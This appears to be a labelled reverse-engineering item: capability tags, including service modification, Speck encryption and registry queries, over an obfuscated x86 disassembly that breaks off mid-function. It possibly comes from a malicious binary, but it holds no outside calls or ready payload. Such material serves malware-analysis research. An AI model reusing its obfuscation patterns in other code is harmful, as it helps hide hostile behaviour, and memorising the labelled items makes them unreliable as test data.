Function at 0x1001327e
Capabilities:
Check os version
Create directory
Encrypt data using speck
Extract resource via kernel32 functions
Identify system language via api
Modify service
Query environment variable
Query or enumerate registry value
Read .ini file
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100566c2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x104c
call fcn.100527a0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [0x10072f84], 0
jne 0x100192be
mov dword [ebp - 0x94], 0x399841b3
mov dword [ebp - 0x38c], 0
push 4
lea ecx, [ebp - 0xc08]
call fcn.100018bd
and dword [ebp - 4], 0
mov dword [ebp - 0xa1c], 1
mov dword [ebp - 0x18c], 0
jmp 0x100132fc
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 4
jge 0x1001331e
push dword [ebp - 0x18c]
lea ecx, [ebp - 0xc08]
call fcn.1000195c
mov dword [eax], 0xb2bc
jmp 0x100132ef
mov dword [ebp - 0x94], 0
jmp 0x10013337
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 8
jl 0x100137b3
mov dword [ebp - 0x9c], 0x57102d14
mov dword [ebp - 0x9c], 0
jmp 0x10013367
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xd
jne 0x100137ae
mov dword [ebp - 0x40], 0x8430
mov dword [ebp - 0x46c], 0x392c
mov dword [ebp - 0x9f8], str.zqfqzjp_qjny_zcktg_podeahz
cmp dword [ebp - 0x46c], 0x3c92
jle 0x10013412
and dword [ebp - 0x2ac], 0
jmp 0x100133b1
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x516f
jge 0x10013412
and dword [ebp - 0x194], 0
jmp 0x100133d3
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x597
jge 0x10013410
mov eax, dword [ebp - 0x2ac]
or eax, dword [ebp - 0x194]
cdq
mov dword [ebp - 0x894], eax
mov dword [ebp - 0x890], edx
push dword [ebp - 0x890]
push dword [ebp - 0x894]
mov ecx, 0x10071e38
call fcn.10003dea
jmp 0x100133c6
jmp 0x100133a4
mov byte [ebp - 4], 1
cmp dword [ebp - 0x46c], 0x36de
jge 0x10013432
mov edx, dword [ebp - 0x9f8]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x1001344e
and dword [ebp - 4], 0
jmp 0x10013458
mov dword [ebp - 0x4c], 0
jmp 0x10013468
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x1001347e
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x770], 0x952eaa29
jmp 0x10013461
mov dword [ebp - 0x4c], 0
jmp 0x1001348e
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 4
jge 0x100134a4
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xedc], 0xbd6cd538
jmp 0x10013487
mov eax, dword [ebp - 0x40]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x770], eax
mov dword [ebp - 0x40], 0
jmp 0x100134c4
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jg 0x100137a9
mov dword [ebp - 0x75c], 0x4663
mov dword [ebp - 0x880], str.isyxh_wwmj_wxkiex_ndr_rzc_lfotqouk
cmp dword [ebp - 0x75c], 0x4905
jle 0x1001359f
push 0x8b0
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
and dword [ebp - 0x340], 0
jmp 0x10013515
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x757f
jge 0x1001359f
and dword [ebp - 0x19c], 0
jmp 0x10013537
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x5564
jge 0x1001359a
mov eax, dword [ebp - 0x340]
and eax, dword [ebp - 0x19c]
cdq
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x89c], edx
push dword [ebp - 0x89c]
push dword [ebp - 0x8a0]
lea ecx, [ebp - 0xefc]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x878], eax
mov ecx, dword [ebp - 0x878]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xefc]
call fcn.10003dc0
jmp 0x1001352a
jmp 0x10013508
mov dword [ebp - 0xa14], 0x7d16
mov byte [ebp - 4], 3
cmp dword [ebp - 0x75c], 0x4402
jge 0x100135c5
push dword [ebp - 0x880]
call fcn.1003eb1f
pop ecx
jmp 0x100135e1
and dword [ebp - 4], 0
jmp 0x100135eb
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x770]
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x770], 0
jne 0x1001366e
mov eax, dword [ebp - 0x94]
sub eax, dword [ebp - 0x94]
je 0x10013622
mov dword [ebp - 0x888], 1
jmp 0x10013629
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0xa14]
mov dword [ebp - 0xda4], eax
cmp dword [ebp - 0x94], 0x5d088182
jne 0x1001364f
xor eax, eax
inc eax
jne 0x1001364f
and dword [ebp - 0x764], 0
jmp 0x10013659
mov dword [ebp - 0x764], 1
cmp dword [ebp - 0x764], 0x3de8
jne 0x1001366e
cmp dword [ebp - 0x9c], 0
je 0x1001368a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x770], 0
je 0x1001368a
mov dword [ebp - 0x384], 1
jmp 0x10013691
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x384]
mov dword [ebp + eax*4 - 0x770], ecx
cmp dword [ebp - 0x384], 0x40fff069
jg 0x100136b9
mov dword [ebp - 0x778], 1
jmp 0x100136c0
and dword [ebp - 0x778], 0
cmp dword [ebp - 0x778], 0x39d3cd36
jne 0x100136d8
mov dword [ebp - 0x780], 1
jmp 0x100136df
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x780], eax
jne 0x100136f6
mov dword [ebp - 0x788], 1
jmp 0x100136fd
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x788], eax
jle 0x10013717
mov dword [ebp - 0x790], 1
jmp 0x1001371e
and dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x790], eax
je 0x10013738
mov dword [ebp - 0x7c8], 1
jmp 0x1001373f
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0x7c8]
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0
je 0x10013766
push 1
lea ecx, [ebp - 0xc08]
call fcn.1000195c
cmp dword [eax], 0
jne 0x1001376c
cmp dword [ebp - 0x40], 0
je 0x10013781
cmp dword [ebp - 0xa1c], 0
je 0x10013781
mov dword [ebp - 0x6e0], 1
jmp 0x10013788
and dword [ebp - 0x6e0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x6e0]
mov dword [ebp + eax - 0xedc], ecx
mov dword [ebp - 0x38c], 1
jmp 0x100134bd
jmp 0x1001335a
jmp 0x1001332a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc08]
call fcn.10001940
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x3f8], 0x9a164e6
mov dword [ebp - 0x400], 0xa1bc
mov dword [ebp - 0x64], 0
jmp 0x100137f0
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x10013806
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xc54], 1
jmp 0x100137e9
mov dword [ebp - 0x64], 0
jmp 0x10013816
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x1001382c
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x2b4], 0xfff8
jmp 0x1001380f
mov dword [ebp - 0xcc], 0xffffffec
jmp 0x10013845
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x1d
je 0x10013a80
mov dword [ebp - 0x824], 0x57e8
mov dword [ebp - 0x820], 0x57e8
mov dword [ebp - 0x81c], 0x57e8
mov dword [ebp - 0x818], 0x57e8
mov dword [ebp - 0x48], 0x7555b7ce
mov dword [ebp - 0xa34], 0x2d748aee
mov dword [ebp - 0x48], 0
jmp 0x1001389b
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jg 0x100138c7
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x824]
mov ecx, dword [ebp - 0x48]
mov dword [ebp + ecx*4 - 0x824], eax
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xc54], 9
jmp 0x10013894
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x100139e7
mov dword [ebp - 0x48], 0x3f0d3ecf
cmp dword [ebp - 0x48], 0
jne 0x1001398d
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xc54]
imul ecx, dword [ebp + eax - 0xc54]
cmp ecx, 0xfffffffd
jae 0x1001390e
mov dword [ebp - 0x754], 1
jmp 0x10013915
and dword [ebp - 0x754], 0
cmp dword [ebp - 0x754], 0x71a6e483
jl 0x1001392d
mov dword [ebp - 0xa24], 1
jmp 0x10013934
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xca0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b4]
mov dword [ebp - 0xdec], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xca8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b4]
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xcb0], eax
cmp dword [ebp - 0x48], 0x5d5ec7e0
jle 0x1001398d
and dword [ebp - 0x3b4], 0
jmp 0x10013997
mov dword [ebp - 0x3b4], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3b4]
mov dword [ebp + eax - 0xc54], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b4]
cmp dword [ebp - 0x3b4], eax
je 0x100139cb
mov dword [ebp - 0x3f0], 1
jmp 0x100139d2
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3f0]
inc eax
je 0x100139e7
mov dword [ebp - 0x5e8], 1
jmp 0x100139ee
and dword [ebp - 0x5e8], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x824]
sub eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x3f8]
cmp eax, dword [ebp - 0x400]
jge 0x10013a21
mov dword [ebp - 0x760], 1
jmp 0x10013a28
and dword [ebp - 0x760], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x824]
cmp dword [ebp - 0x760], eax
jge 0x10013a49
mov dword [ebp - 0xa2c], 1
jmp 0x10013a50
and dword [ebp - 0xa2c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b4]
mov dword [ebp - 0xe30], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x400]
add ecx, dword [ebp + eax - 0x824]
mov dword [ebp - 0xa34], ecx
jmp 0x10013838
mov dword [ebp - 0x5f0], 0x7972
mov dword [ebp - 0xa3c], str.jzmwt_vzkbbgm_mdxjzm_waap_ltd_kiatt_ezqoennkr_vxygw_wzkiepb_pfyksfdm_scbnh
cmp dword [ebp - 0x5f0], 0x7c2b
jle 0x10013b56
and dword [ebp - 0x1a4], 0
jmp 0x10013aba
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x2a53
jge 0x10013b4e
and dword [ebp - 0x368], 0
jmp 0x10013ae0
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x3ee6
jge 0x10013b49
and dword [ebp - 0x1ac], 0
jmp 0x10013b02
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x6be9
jge 0x10013b47
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x368]
shl eax, cl
xor eax, dword [ebp - 0x1ac]
cdq
mov dword [ebp - 0x8ac], eax
mov dword [ebp - 0x8a8], edx
push dword [ebp - 0x8a8]
push dword [ebp - 0x8ac]
mov ecx, 0x10071e38
call fcn.10003dea
jmp 0x10013af5
jmp 0x10013ad3
jmp 0x10013aad
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x80], 0
mov dword [ebp - 4], 5
cmp dword [ebp - 0x5f0], 0x75af
jge 0x10013b80
mov edx, dword [ebp - 0xa3c]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x10013b9c
or dword [ebp - 4], 0xffffffff
jmp 0x10013ba6
mov dword [ebp - 0x80], 0xffffffe9
jmp 0x10013bb6
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xffffffff
jl 0x10013e18
push 1
lea ecx, [ebp - 0xa6c]
call fcn.100018bd
mov dword [ebp - 4], 7
mov dword [ebp - 0x130], 2
mov dword [ebp - 0x2bc], 0
jmp 0x10013bf7
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 1
jge 0x10013c19
push dword [ebp - 0x2bc]
lea ecx, [ebp - 0xa6c]
call fcn.1000195c
mov dword [eax], 0x57e8b72f
jmp 0x10013bea
mov dword [ebp - 0x130], 0
jmp 0x10013c32
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jl 0x10013dea
mov dword [ebp - 0x7c4], 0xfff6
mov dword [ebp - 0x50], 0
jmp 0x10013c59
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x10013c6f
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xb28], 0xfffffff6
jmp 0x10013c52
mov dword [ebp - 0x50], 0
jmp 0x10013c7f
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x10013c95
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xe40], 0xa6e483bb
jmp 0x10013c78
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xcb8], eax
push 0
lea ecx, [ebp - 0xa6c]
call fcn.1000195c
cmp dword [eax], 0xe12aa53f
jbe 0x10013cbf
mov dword [ebp - 0x408], 1
jmp 0x10013cc6
and dword [ebp - 0x408], 0
push 0
lea ecx, [ebp - 0xa6c]
call fcn.1000195c
mov ecx, dword [ebp - 0x408]
cmp ecx, dword [eax]
jle 0x10013ce9
mov dword [ebp - 0x6e8], 1
jmp 0x10013cf0
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x6e8]
jne 0x10013d07
mov dword [ebp - 0x410], 1
jmp 0x10013d0e
and dword [ebp - 0x410], 0
cmp dword [ebp - 0x410], 0
jne 0x10013d1e
cmp dword [ebp - 0x130], 0
cmp dword [ebp - 0x80], 1
jl 0x10013d30
mov dword [ebp - 0x5f8], 1
jmp 0x10013d37
and dword [ebp - 0x5f8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb28]
cmp dword [ebp - 0x5f8], eax
jl 0x10013d58
mov dword [ebp - 0x418], 1
jmp 0x10013d5f
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x7c4]
cmp dword [ebp - 0x418], eax
jne 0x10013d82
cmp dword [ebp - 0x7c4], 0
je 0x10013d82
mov dword [ebp - 0xa44], 1
jmp 0x10013d89
and dword [ebp - 0xa44], 0
mov eax, 0x574b6046
test eax, eax
je 0x10013db0
mov dword [ebp - 0xa4c], 1
mov eax, dword [ebp - 0xa4c]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xe40], eax
jmp 0x10013dcd
mov dword [ebp - 0xa54], 0x3744
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb28]
mov dword [ebp - 0xa54], eax
mov byte [ebp - 0xaf], 0
movzx eax, byte [ebp - 0xaf]
test eax, eax
je 0x10013de5
call dword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x10013c25
cmp dword [ebp - 0x80], 0
je 0x10013e04
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa6c]
call fcn.10001940
jmp 0x10013baf
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa6c]
call fcn.10001940
jmp 0x10013baf
mov byte [ebp - 0x15c], 9
mov byte [ebp - 0x15b], 0xa8
mov byte [ebp - 0x15a], 3
mov byte [ebp - 0x159], 0xa
mov byte [ebp - 0x158], 0xb
mov byte [ebp - 0x157], 2
mov byte [ebp - 0x156], 7
mov byte [ebp - 0x155], 0x5e
mov byte [ebp - 0x154], 4
mov byte [ebp - 0x153], 0x57
mov byte [ebp - 0x152], 8
mov byte [ebp - 0x151], 0x4b
mov byte [ebp - 0x150], 6
mov byte [ebp - 0x14f], 0x1d
mov byte [ebp - 0x14e], 2
mov byte [ebp - 0x14d], 0x41
mov byte [ebp - 0x14c], 1
mov byte [ebp - 0x14b], 0x17
mov byte [ebp - 0x14a], 0xa
mov byte [ebp - 0x149], 9
mov byte [ebp - 0x148], 2
mov byte [ebp - 0x147], 0
mov byte [ebp - 0x146], 0x62
mov byte [ebp - 0x145], 0
mov byte [ebp - 0x144], 0x27
mov byte [ebp - 0x143], 5
mov byte [ebp - 0x142], 0x27
mov dword [ebp - 0x834], 0xa12b57e8
mov dword [ebp - 0x830], 0xa12b57e8
mov dword [ebp - 0x82c], 0xa12b57e8
mov dword [ebp - 0x828], 0xa12b57e8
mov dword [ebp - 0x7c], 0xb7cefa9d
mov dword [ebp - 0x6f8], 0xa5d0c9ad
mov dword [ebp - 0x1b4], 0
jmp 0x10013f27
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 1
jge 0x10013f43
mov eax, dword [ebp - 0x1b4]
mov dword [ebp + eax*4 - 0x1c4], 0xffffffff
jmp 0x10013f1a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c4]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x834], eax
mov dword [ebp - 0x7c], 7
jmp 0x10013f6d
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xfffffff8
jle 0x1001432b
mov dword [ebp - 0x38], 0x89a69576
mov dword [ebp - 0x420], 0xd83
mov dword [ebp - 0xa5c], str.kfvmgtaqu_hmqd_emy_egy_mnwtynou_yyp_lcqrlaxan_nhi_zjg
cmp dword [ebp - 0x420], 0xdfc
jle 0x10014017
and dword [ebp - 0x348], 0
jmp 0x10013fb4
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x3daa
jge 0x10014017
and dword [ebp - 0x1bc], 0
jmp 0x10013fd6
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x2beb
jge 0x10014015
mov eax, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x1bc]
sar eax, cl
cdq
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x8b4], edx
push dword [ebp - 0x8b4]
push dword [ebp - 0x8b8]
mov ecx, 0x10071e38
call fcn.10003dea
jmp 0x10013fc9
jmp 0x10013fa7
mov dword [ebp - 0x610], 1
mov dword [ebp - 4], 8
cmp dword [ebp - 0x420], 0x9ee
jge 0x10014044
mov edx, dword [ebp - 0xa5c]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x10014060
or dword [ebp - 4], 0xffffffff
jmp 0x1001406a
push 2
lea ecx, [ebp - 0xc14]
call fcn.100018bd
mov dword [ebp - 4], 0xa
mov dword [ebp - 0xc34], 0xffffffff
mov dword [ebp - 0xc30], 0xffffffff
mov dword [ebp - 0xc2c], 0xffffffff
mov dword [ebp - 0xc28], 0xffffffff
mov dword [ebp - 0x2c4], 0
jmp 0x100140bf
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x100140de
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0xc14]
call fcn.1000195c
or dword [eax], 0xffffffff
jmp 0x100140b2
mov eax, 0x83bc
test eax, eax
je 0x100141f0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x834]
mov dword [ebp - 0xdb4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x834]
mov dword [ebp - 0xacc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xacc]
mov dword [ebp + eax - 0x834], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c4]
mov dword [ebp - 0xcc8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c4]
sub eax, dword [ebp - 0x38]
je 0x1001415b
cmp dword [ebp - 0x7c], 0
je 0x1001415b
mov dword [ebp - 0x600], 1
jmp 0x10014162
and dword [ebp - 0x600], 0
cmp dword [ebp - 0x600], 0x2a4e
jge 0x1001417a
mov dword [ebp - 0x428], 1
jmp 0x10014181
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x428], eax
jge 0x10014198
mov dword [ebp - 0x6f0], 1
jmp 0x1001419f
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x6f0], eax
jg 0x100141b6
mov dword [ebp - 0xad4], 1
jmp 0x100141bd
and dword [ebp - 0xad4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c4]
mov dword [ebp - 0xdf4], eax
push 0xfffffffffffffffa
pop eax
add eax, 0x983ca307
imul eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x7c]
jle 0x100141f0
cmp dword [ebp - 0x38], 0
je 0x100141f0
and dword [ebp - 0x430], 0
jmp 0x100141fa
mov dword [ebp - 0x430], 1
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x430], eax
jg 0x10014217
mov eax, 0x5772
test eax, eax
jne 0x10014217
and dword [ebp - 0x608], 0
jmp 0x10014221
mov dword [ebp - 0x608], 1
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x608]
cmp eax, 0x89188b9a
ja 0x1001423d
mov dword [ebp - 0x438], 1
jmp 0x10014244
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x438], eax
jne 0x1001425b
mov dword [ebp - 0x768], 1
jmp 0x10014262
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x768]
sub eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
jne 0x1001427f
cmp dword [ebp - 0x38], 0
jne 0x1001427f
and dword [ebp - 0x440], 0
jmp 0x10014289
mov dword [ebp - 0x440], 1
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x610], eax
mov eax, dword [ebp - 0x610]
cmp eax, dword [ebp - 0x38]
jle 0x100142ac
mov dword [ebp - 0x448], 1
jmp 0x100142b3
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0xcd8], eax
push 0
lea ecx, [ebp - 0xc14]
call fcn.1000195c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x834]
mov dword [ebp - 0xdbc], eax
cmp dword [ebp - 0x38], 0
jne 0x100142fd
mov dword [ebp - 0x450], 1
jmp 0x10014304
and dword [ebp - 0x450], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x450]
mov dword [ebp + eax - 0xc34], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc14]
call fcn.10001940
jmp 0x10013f66
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x15c]
and eax, 0xcc
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x15c]
or ecx, 0xcc
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x15c]
mov word [ebp + eax*2 - 0xc70], cx
push 2
lea ecx, [ebp - 0xbfc]
call fcn.100018bd
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x10c], 2
mov dword [ebp - 0xce8], 0xffffffff
mov dword [ebp - 0x618], 0x3f6e
mov dword [ebp - 0x9c0], str.mpj_jqzms_sixadtl_kqrp_wpsdfs_oznpx_fmvnzypj_wsaama_ompkwg_ievebvf_unvymig
cmp dword [ebp - 0x618], 0x4051
jle 0x100144be
and dword [ebp - 0x360], 0
jmp 0x100143cc
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x2d70
jge 0x100144be
and dword [ebp - 0x1cc], 0
jmp 0x100143f2
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x79b0
jge 0x100144b9
and dword [ebp - 0x2cc], 0
jmp 0x10014418
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x6f52
jge 0x100144b4
and dword [ebp - 0x1d4], 0
jmp 0x1001443e
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x74f8
jge 0x100144af
mov eax, dword [ebp - 0x360]
sub eax, dword [ebp - 0x1cc]
add eax, dword [ebp - 0x2cc]
mov ecx, dword [ebp - 0x1d4]
shl eax, cl
cdq
mov dword [ebp - 0x8c4], eax
mov dword [ebp - 0x8c0], edx
push dword [ebp - 0x8c0]
push dword [ebp - 0x8c4]
lea ecx, [ebp - 0xfd4]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0xadc], eax
mov ecx, dword [ebp - 0xadc]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xfd4]
call fcn.10003dc0
jmp 0x10014431
jmp 0x1001440b
jmp 0x100143e5
jmp 0x100143bf
mov dword [ebp - 0xb6c], 0xfffe
mov dword [ebp - 0xb68], 0xfffe
mov dword [ebp - 0xb64], 0xfffe
mov dword [ebp - 0xb60], 0xfffe
lea ecx, [ebp - 0x3bd]
call fcn.1000196b
push eax
lea eax, [ebp - 0xb5c]
push eax
lea eax, [ebp - 0xb6c]
push eax
lea ecx, [ebp - 0xe7c]
call fcn.1000196e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe64]
call fcn.1000191a
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x618], 0x3f31
jge 0x1001453b
push dword [ebp - 0x9c0]
call fcn.1003eb1f
pop ecx
jmp 0x10014557
mov dword [ebp - 4], 0xc
jmp 0x10014567
mov dword [ebp - 0x180], 0
jmp 0x10014580
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 2
jge 0x100145a2
push dword [ebp - 0x180]
lea ecx, [ebp - 0xbfc]
call fcn.1000195c
mov dword [eax], 1
jmp 0x10014573
mov dword [ebp - 0x10c], 1
jmp 0x100145bb
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jl 0x100145fd
mov dword [ebp - 0xa50], 0xb99
mov dword [ebp - 0x870], 0x26c4f32b
mov esi, dword [ebp - 0xa50]
push dword [ebp - 0x10c]
lea ecx, [ebp - 0xbfc]
call fcn.1000195c
mov dword [eax], esi
mov dword [ebp - 0x870], 0xfffffffb
jmp 0x100145ae
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xe64]
call fcn.10001940
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbfc]
call fcn.10001940
mov dword [ebp - 0x20], 2
and dword [ebp - 0x114], 0
jmp 0x10014633
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1b
jae 0x100154fc
mov dword [ebp - 0x70], 0x57fd5464
mov dword [ebp - 0xe18], 0x7430
mov dword [ebp - 0x2dc], 0xfffffff7
mov dword [ebp - 0x70], 0
jmp 0x10014668
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffef
